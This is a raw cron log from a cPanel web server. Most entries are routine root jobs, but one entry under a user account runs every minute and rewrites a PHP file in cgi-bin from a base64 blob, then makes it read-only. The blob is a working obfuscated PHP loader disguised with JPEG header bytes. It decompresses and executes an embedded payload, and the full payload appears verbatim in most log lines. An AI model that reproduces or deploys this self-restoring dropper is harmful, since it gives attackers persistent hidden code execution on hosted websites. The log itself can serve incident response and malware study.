g5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:18:01 server CROND[19538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:19:01 server CROND[19695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:20:01 server CROND[19775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:20:01 server CROND[19776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:20:01 server CROND[19777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:20:01 server CROND[19778]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:20:01 server CROND[19779]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 04:21:01 server CROND[19897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:22:01 server CROND[19973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:23:01 server CROND[20041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:24:01 server CROND[20160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:25:01 server CROND[20262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:25:01 server CROND[20263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:25:01 server CROND[20264]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:25:01 server CROND[20265]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 04:26:01 server CROND[20383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:27:01 server CROND[20444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:27:01 server CROND[20445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 04:28:01 server CROND[20507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:29:01 server CROND[20562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:30:01 server CROND[20626]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:30:01 server CROND[20628]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr  9 04:30:01 server CROND[20630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:30:01 server CROND[20631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:30:01 server CROND[20629]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 04:30:01 server CROND[20633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
